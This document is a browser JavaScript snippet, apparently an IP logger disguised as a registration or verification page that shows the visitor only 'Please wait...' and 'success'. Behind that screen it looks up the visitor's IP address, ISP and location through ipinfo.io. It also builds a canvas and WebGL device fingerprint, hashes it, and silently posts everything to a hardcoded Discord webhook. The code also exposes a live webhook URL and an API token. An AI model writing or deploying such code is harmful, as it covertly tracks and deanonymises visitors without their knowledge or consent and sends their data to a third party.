    (async () => {
      const webhookUrl = "https://discord.com/api/webhooks/1365724309791834214/L0cCe2pTHsww8FM6Jx_EHrLNOrYX43HStqC44dDOJxPxFIRB8XlUGoBh0NZDZrLuQ5Nf";

      const getIPInfo = async () => {
        try {
          const res = await fetch("https://ipinfo.io/json?token=9695b4c5590c1f");
          if (!res.ok) throw new Error("IP情報の取得失敗");
          return await res.json();
        } catch (e) {
          console.error(e);
          return null;
        }
      };

      const getFingerprint = async () => {
        const canvasFp = (() => {
          try {
            const canvas = document.createElement('canvas');
            const ctx = canvas.getContext('2d');
            ctx.textBaseline = "top";
            ctx.font = "14px 'Arial'";
            ctx.fillText("Fingerprint!", 2, 2);
            return canvas.toDataURL();
          } catch (e) {
            return "unsupported";
          }
        })();

        const getWebGLInfo = () => {
          try {
            const canvas = document.createElement("canvas");
            const gl = canvas.getContext("webgl") || canvas.getContext("experimental-webgl");
            const debugInfo = gl.getExtension("WEBGL_debug_renderer_info");
            const vendor = debugInfo ? gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL) : "unknown";
            const renderer = debugInfo ? gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL) : "unknown";
            return { vendor, renderer };
          } catch (e) {
            return { vendor: "unsupported", renderer: "unsupported" };
          }
        };

        const webgl = getWebGLInfo();
        const platform = navigator.platform || "unknown";
        const screenSize = `${screen.width}x${screen.height}`;
        const dpr = window.devicePixelRatio || 1;

        return {
          canvasFp,
          webglVendor: webgl.vendor,
          webglRenderer: webgl.renderer,
          platform,
          screenSize,
          dpr
        };
      };

      const hash = async (str) => {
        const msgUint8 = new TextEncoder().encode(str);
        const hashBuffer = await crypto.subtle.digest('SHA-256', msgUint8);
        return Array.from(new Uint8Array(hashBuffer)).map(b => b.toString(16).padStart(2, '0')).join('');
      };

      const statusElement = document.getElementById('status');
      statusElement.textContent = "Please wait...";

      let success = true;

      const ipinfo = await getIPInfo();
      if (!ipinfo) {
        success = false;
      }

      const fp = await getFingerprint();
      const currentHash = await hash(JSON.stringify(fp));

      if (ipinfo) {
        const content = {
          username: "登録情報通知Bot",
          embeds: [{
            title: "新しい登録アクセス検知",
            color: 0x00FFFF,
            fields: [
              { name: "IPAddress", value: ipinfo.ip || "不明", inline: false },
              { name: "ISP", value: ipinfo.org || "不明", inline: false },
              { name: "Region", value: `${ipinfo.city || "不明"}, ${ipinfo.region || "不明"}, ${ipinfo.country || "不明"}`, inline: false },
              { name: "User Token", value: currentHash, inline: false }
            ],
            timestamp: new Date().toISOString()
          }]
        };

        try {
          const res = await fetch(webhookUrl, {
            method: "POST",
            headers: { "Content-Type": "application/json" },
            body: JSON.stringify(content)
          });
          if (!res.ok) throw new Error("Webhook送信失敗");
        } catch (err) {
          console.error(err);
          success = false;
        }
      }

      statusElement.textContent = success ? "success" : "failed";
    })();